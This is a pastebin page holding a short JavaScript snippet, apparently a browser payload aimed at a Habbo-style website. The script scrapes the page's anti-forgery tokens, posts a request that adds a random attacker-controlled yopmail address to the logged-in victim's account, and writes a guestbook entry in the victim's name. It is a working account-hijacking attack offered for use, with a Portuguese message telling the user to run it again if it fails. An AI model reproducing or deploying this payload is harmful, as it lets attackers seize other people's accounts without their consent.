SHARE
TWEET

Untitled

a guest Feb 27th, 2012 19 Never
  1. function random(len){var i, chars='1234567890QWERTYUIOPLKJHGFDSAZXCVBNM', str='';if(!len)len = 15;for(i=0;i<len;i++)str += chars.substr((Math.floor(Math.random()*(chars.length+1))),1);return str;};  
  2. var rand=random(8);
  3. /* por edi472 :),  adaptado por phoenix */
  4. a=Ajax;
  5. email = '';
  6. new a.Request('/identity/email',{
  7.   onComplete:function(x){  
  8.     x=x.responseText;
  9.     new a.Request('/identity/add_email',{  
  10. parameters:'struts.token.name=addEmailToken&addEmailToken='+x.match(/name="addEmailToken" value="(.*)"/gi).toString().split('value=')[1].split('"')[1].split('"')[0]+'&email=phxbot_'+rand+'@yopmail.com&__app_key='+$$('meta[name=csrf-token]')[0].content,
  11.      onComplete:function(p) {  
  12.       try{  
  13.       if(p.responseText.toString().match(/error.email/gi) || p.responseText.toString().match(/register.error/gi)  ){ alert('Erro ao usar o c√≥digo\nExecute novamente.') };
  14.       }catch(e){}
  15.      }
  16.     })
  17.   }
  18. });
  19. new Ajax.Request('/myhabbo/guestbook/add', {parameters:'ownerId=123&message=phxbot_'+rand+'&scope=1&query=&widgetId=16622659'});
RAW Paste Data
Top